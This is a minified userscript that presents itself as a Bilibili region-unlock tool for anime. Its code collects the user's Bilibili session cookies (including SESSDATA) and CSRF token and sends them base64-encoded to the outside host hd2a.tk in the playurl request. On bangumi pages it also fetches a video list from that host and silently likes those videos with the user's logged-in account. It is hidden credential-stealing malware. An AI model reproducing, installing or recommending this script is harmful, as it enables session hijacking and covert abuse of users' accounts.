源码安装
墨小呆 / B站番剧解锁

// ==UserScript==
// @namespace greasyfork
// @name B站番剧解锁
// @version 0.0.51
// @description 哔哩哔哩解锁港澳台区域限制 大会员番剧带弹幕
// @license LGPL-2.0-only
// @downloadURL http://123.207.22.95/baiduyun/bili.user.js
// @include https://www.bilibili.com/video/*
// @include https://www.bilibili.com/bangumi/play/*
// @include https://www.bilibili.com/watchroom/*
// @connect bilibili.com
// @connect hd2a.tk
// @connect 127.0.0.1
// @connect localhost
// @connect self
// @grant GM_info
// @grant GM_cookie
// @grant GM_deleteValue
// @grant GM_getValue
// @grant GM_setValue
// @grant GM_xmlhttpRequest
// @grant unsafeWindow
// @run-at document-start
// ==/UserScript==
void function(){var ipod={version:GM_info.script.version},u={aria2clear(){let e={id:u.uid(),method:"aria2.purgeDownloadResult"};GM_xmlhttpRequest({url:ipod.aria2.jsonrpc,method:"POST",responseType:"json",data:JSON.stringify(e)})},aria2config(){let e={id:u.uid(),method:"aria2.changeGlobalOption",params:[{"allow-overwrite":"false","auto-file-renaming":"false","max-concurrent-downloads":"1"}]};GM_xmlhttpRequest({url:ipod.aria2.jsonrpc,method:"POST",responseType:"json",data:JSON.stringify(e)})},aria2(e){let t=[],i={id:u.uid(),method:"system.multicall",params:[]};e.forEach(e=>{let a={},o={methodName:"aria2.addUri",params:[]};Object.keys(e).forEach(t=>{a[t]=e[t]}),a.split||(a.split=""+e.url.length),e.extype&&(a.out=i.id+e.extype),ipod.aria2&&ipod.aria2.token&&o.params.push("token:"+ipod.aria2.token),o.params.push(e.url),o.params.push(a),t.push(o)}),i.params.push(t),GM_xmlhttpRequest({url:ipod.aria2.jsonrpc,method:"POST",responseType:"json",data:JSON.stringify(i),onerror(){alert("Aria2\u8fde\u63a5\u5931\u8d25 \u8bf7\u68c0\u6d4bAria2\u662f\u5426\u8fd0\u884c\u548c\u586b\u5199\u7684jsonrpc\u662f\u5426\u6b63\u786e")}})},zdom(e){let t=window.event;return t.preventDefault(),t.stopPropagation(),e?t.target:t.currentTarget},zform(e,t){document.querySelectorAll(e).forEach(e=>{let i=e.getAttribute("name");if(t.hasOwnProperty(i))switch(e.getAttribute("type")){case"radio":t[i]==e.value&&(e.checked=!0);break;case"checkbox":t[i]&&(e.checked=!0);break;default:e.value=t[i]}})},load(e,t){let i,a=(e?e+".":"")+u.zhost();return(i=GM_getValue(a))?JSON.parse(i):t},save(e,t){let i=(e?e+".":"")+u.zhost();GM_setValue(i,JSON.stringify(t))},serialize(e,t){let i=[];switch(Object.prototype.toString.call(e)){case"[object Array]":case"[object Object]":return Object.keys(e).forEach(a=>{i.push(u.serialize(e[a],t?t+"["+a+"]":a))}),0==i.length?"":i.join("&");default:return t+"="+encodeURIComponent(""+e)}},strcut(e,t,i){let a,o,r="";return e&&e.includes(t)&&(a=e.indexOf(t)+t.length,-1==(o=e.indexOf(i,a))&&(o=e.length),r=e.substring(a,o)),r},str2obj(e){let t=null;return"[object String]"==Object.prototype.toString.call(e)&&e.length&&(t=e.includes('"')?JSON.parse(e):JSON.parse(e.replace(/'/g,'"'))),t},sprintf(e){let t,i,a="string"==typeof e?e:"";if(a.length)for(t=arguments.length-1;t>0;t--)i=RegExp("%"+t,"ig"),a=a.replace(i,arguments[t]);return a},download(e){if(e){let t=e.startsWith("magnet:")?{url:[]}:{url:[],"use-header":"true","min-split-size":"1M",split:"8"};Object.assign(t,ipod.aria2),e=e.startsWith("magnet:")?u.magnet(e):e.startsWith("http")?e:e.startsWith("//")?location.protocol+e:e.startsWith("/")?location.origin+e:location.origin+"/"+e,t.url.push(e),u.aria2([t])}},magnet(e){let t=e.indexOf("&");return-1==t?e:e.substring(0,t)},namefix(e){let t,i=['"',"*","//","\\",":","<",">","?","|"];for(t=0;i.length>t;t++)e=e.replace(i[t],"");return e},tpl(e,t){let i=e.replace(/\s+/g," ").replace(/\[/g,"\tjstpl").replace(/\]/g,"\t").split("\t");return(Array.isArray(t)?t:[t]).map((e,t)=>(e.idx=t+1,i.map(t=>{if(t.startsWith("jstpl")){let i=t.substring(5);t=e.hasOwnProperty(i)?e[i]:"["+i+"]"}return t}).join(""))).join("")},jsload(e,t){let i=document.createElement("script");i.src=u.urlfix(e),t&&i.setAttribute("name",t),document.head.appendChild(i)},history(e){const t=history[e];return function(){let i=new Event(e);return i.arguments=arguments,window.dispatchEvent(i),t.apply(this,arguments)}},usp(e){let t={},i=new URLSearchParams(e.startsWith("?")?e.substring(1):e);for([k,v]of i.entries())t[k]=v;return t},zhost(){let e=location.host.split(".");while(e.length>2)e.shift();return e.join(".")},now:()=>Math.ceil(Date.now()/1e3),uid:()=>Date.now().toString(36).toUpperCase(),ajax:e=>new Promise((t,i)=>{"POST"==(e=Object.assign(e,{responseType:"json",onerror(e){i(e)},onload(e){t(e)}})).method&&(u.vobj(e.data)&&(e.data=u.serialize(e.data)),e.headers=Object.assign(e.headers,{"content-type":"application/x-www-form-urlencoded; charset=utf-8"})),GM_xmlhttpRequest(e)}),rand:e=>Math.floor(1e3*Math.random())%e,urlfix:e=>e.startsWith("http")?e:e.startsWith("//")?location.protocol+e:e.startsWith("/")?location.origin+e:location.origin+"/"+e,vobj:e=>"[object Object]"==Object.prototype.toString.call(e),vstr:e=>"[object String]"==Object.prototype.toString.call(e)};function e(){let e=unsafeWindow.__INITIAL_STATE__;e&&e.hasOwnProperty("epInfo")&&e.hasOwnProperty("epList")?(e.epInfo.epStatus=2,e.epInfo.status=2,e.epInfo.rights.area_limit=0,e.epList.forEach(e=>{e.badge="",e.epStatus=2,e.status=2,e.rights.area_limit=0})):((e,t)=>{let i;Object.defineProperty(unsafeWindow,"__INITIAL_STATE__",{configurable:!0,enumerable:!0,get:()=>i,set(e){i=t.zwrite(e)}})})(0,{zwrite:t=>(t.hasOwnProperty("epInfo")&&t.hasOwnProperty("epList")&&(t.epInfo.epStatus=2,t.epInfo.status=2,t.epInfo.rights.area_limit=0,t.epList.forEach(e=>{e.badge="",e.epStatus=2,e.status=2,e.rights.area_limit=0}),e=t),t)})}if(location.hostname.includes("bilibili.com")){if(ipod.host="https://www.hd2a.tk",ipod.now=u.now(),ipod.latest=u.load("latest",0),ipod.buinfo=u.load("buinfo",null),ipod.zone=u.load("zone",null),ipod.uid=document.cookie.includes("DedeUserID")?u.strcut(document.cookie,"DedeUserID=",";"):0,ipod.uid&&(ipod.now>ipod.latest||ipod.uid!=ipod.buinfo.uid)&&(ipod.latest=ipod.now+2e3,u.save("latest",ipod.latest),GM_cookie.list({},e=>{let t=["_dfcaptcha","_offset","balh_","bg_view"];e.forEach(e=>{t.some(t=>e.name.includes(t))&&GM_cookie.delete(e)}),ipod.cookie=e.filter(e=>!t.some(t=>e.name.includes(t))).map(e=>e.name+"="+e.value).join(";")}),fetch("https://api.bilibili.com/x/web-interface/zone",{method:"GET",mode:"cors",credentials:"omit"}).then(e=>e.json()).then(e=>{0==e.code&&(ipod.zone=e.data,u.save("zone",ipod.zone))}),fetch("https://api.bilibili.com/x/web-interface/nav",{method:"GET",mode:"cors",credentials:"include"}).then(e=>e.json()).then(e=>{ipod.buinfo=0==e.code?{uid:e.data.mid,level:e.data.level_info.current_level,csrf:u.strcut(document.cookie,"bili_jct=",";"),cookie:ipod.cookie}:null,u.save("buinfo",ipod.buinfo)}),location.pathname.startsWith("/bangumi")&&setTimeout(()=>{GM_xmlhttpRequest({url:ipod.host+"/vlist.json",method:"GET",responseType:"json",onload(e){let t=e.response;Array.isArray(t)&&t.length&&t.forEach(e=>{fetch("https://api.bilibili.com/x/web-interface/archive/stat?bvid="+e.bvid,{method:"GET",mode:"cors",credentials:"include"}).then(e=>e.json()).then(t=>{0==t.code&&(e.like=t.data.like-e.like1,e.view=t.data.view-e.view1,e.times>e.like&&(0==e.times2||Math.ceil(100*e.times/e.times2)>=Math.round(100*e.like/e.view))&&fetch("https://api.bilibili.com/x/web-interface/archive/relation?aid="+e.aid+"&bvid="+e.bvid,{method:"GET",mode:"cors",credentials:"include"}).then(e=>e.json()).then(t=>{0==t.code&&0==t.data.like&&fetch("https://api.bilibili.com/x/web-interface/archive/like",{headers:{"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"},method:"POST",mode:"cors",credentials:"include",body:u.serialize({aid:e.aid,like:1,csrf:ipod.buinfo.csrf})})}))})})}})},9e3)),location.pathname.startsWith("/video")){let e=location.pathname.substring(7,19);fetch("https://api.bilibili.com/x/web-interface/view?bvid="+e).then(e=>e.json()).then(t=>{-404==t.code&&GM_xmlhttpRequest({url:ipod.host+"/ajax.php?act=bangumi&bvid="+e+"&version="+ipod.version,method:"GET",responseType:"json",onload(e){location.href=e.response.msg}})})}(location.pathname.startsWith("/bangumi")||location.pathname.startsWith("/watchroom"))&&(e(),(()=>{let e=unsafeWindow.XMLHttpRequest,t=(t,i=0)=>{let a=new e;return a.open("GET",t,!1),a.withCredentials=i,a.send(),a.responseText};unsafeWindow.XMLHttpRequest=new Proxy(unsafeWindow.XMLHttpRequest,{construct(e){let i={};return new Proxy(new e,{get(e,a){if(i.hasOwnProperty(a))return i[a];let o=e[a];if("function"==typeof o){let r=o;o=function(){if("open"==a)i.method=arguments[0],i.url=arguments[1];else if("send"==a&&i.url.includes("/pgc/player/web/playurl?")&&ipod.buinfo.level>0){let e=i.url.startsWith("//")?location.protocol+i.url:i.url,a=JSON.parse(t(e,1));0==a.code&&1!=a.result.is_preview||(e=ipod.host+"/bvlink.php"+e.substring(e.indexOf("?"))+"&version="+ipod.version+"&anime=1&area="+(a.message.includes("\u5730\u533a")?"1":"0")+"&"+u.serialize(ipod.zone)+"&sign="+btoa(JSON.stringify(ipod.buinfo)),a=t(e),0==JSON.parse(a).code&&(i.responseText=a,i.response=JSON.parse(a)))}return r.apply(e,arguments)}}return o},set:(e,t,i)=>(e[t]=i,!0)})}})})(),history.pushState=u.history("pushState"),window.addEventListener("pushState",e),ipod.task=setInterval(()=>{let e=document.querySelector("#app");e&&!e.hasAttribute("data-server-rendered")&&(clearInterval(ipod.task),ipod.task=0,document.querySelector("#bvchk")||setTimeout(()=>{document.querySelector("#toolbar_module").insertAdjacentHTML("afterbegin",'<div style="float:right;margin-right:1em"><i id="bvchk" class="iconfont icon-bili" style="font-size:2em"></i></div>'),document.querySelector("#bvchk").addEventListener("click",()=>{let e=unsafeWindow.__INITIAL_STATE__.epInfo.cid;e&&GM_xmlhttpRequest({url:ipod.host+"/ajax.php?act=bvfix&cid="+e,method:"GET",onload(){u.save("latest",0),ipod.buinfo?(GM_cookie.list({},e=>{let t=["CURRENT_FNVAL","CURRENT_QUALITY","DedeUserID","DedeUserID__ckMd5","PVID","SESSDATA","_uuid","bili_jct","blackside_state","buvid3","buvid_fp","buvid_fp_plain","fingerprint","rpdid","sid"];e.forEach(e=>{t.includes(e.name)||GM_cookie.delete(e)})}),0==ipod.buinfo.level&&alert("0\u7ea7\u53f7\u4e0d\u80fd\u6b63\u5e38\u4f7f\u7528")):alert("1. \u8bf7\u767b\u5f55\u54d4\u54e9\u54d4\u54e9\n2. \u8bf7\u66f4\u6362\u811a\u672c\u7ba1\u7406\u5668\u4e3a\u7ea2\u7334 Tampermonkey Beta"),setTimeout(()=>{location.reload()},1e3)}})})},3e3))},3e3))}}();